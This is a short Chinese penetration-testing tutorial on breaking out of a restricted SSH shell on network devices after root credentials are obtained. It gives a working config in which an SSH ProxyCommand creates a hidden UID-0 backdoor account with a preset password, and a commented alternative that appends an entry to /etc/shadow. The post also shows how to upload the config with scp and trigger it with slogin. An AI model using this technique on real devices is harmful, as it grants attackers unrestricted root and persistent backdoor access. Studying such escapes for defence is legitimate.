在實際滲透場景中,有很多網絡裝置我們拿到了root權限後ssh登陸發現有指令執行限制,這是因為ssh接口提供了一個特殊的受限制的指令外殼程式,類似busybox的感覺,他可以允許root使用者對裝置進行配置處理,但是不允許進行指令互動,是以相當于我們拿到的隻是一個雞肋的root使用者,為了突破這種限制,我們有特别的姿勢
因為開放了ssh服務,是以我們可以使用scp,但是scp是無法建立目錄的,是以我們想到的第一個辦法是到使用者目錄的.ssh下,上傳公鑰,然後登陸到系統無需密碼,事實證明可以成功登陸,但是登陸的使用者的shell預設還是在這個受限的外殼下,指令互動依舊不成功
那如何逃逸這種限制?比較好玩兒,ssh給我們提供了一個可以按照配置預期執行指令的功能,在$HOME/.ssh/
config中進行配置,我們可以達到這樣的效果
我們在配置檔案中預期執行添加一個新的root使用者,UID為0且無限制執行指令,以此來逃逸網絡裝置的限制問題
config内容如下:
1
2
3
4
5
6
7
host ztzsb #随便寫一個host名稱
hostname ip #填寫目前ip
user root #填寫目前受限使用者
#ProxyCommand /bin/bash %h %p
ProxyCommand useradd -p `openssl passwd -1 -salt 'mujj' redrain` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/redrain redrain
#或者echo一個到/etc/shadow
#ProxyCommand echo "redrain:$1$mujj$NIovcyWTUzr76qHvsju0v.:10000:0:99999:7:::" >> /etc/shadow
此時,當我們使用内置的slogin就會觸發這個配置
隻需要scp吧這個配置檔案傳到我們剛才受限的使用者目錄的.ssh/下,登陸這個受限使用者後執行
slogin -N ztzsb
就會執行配置中的指令~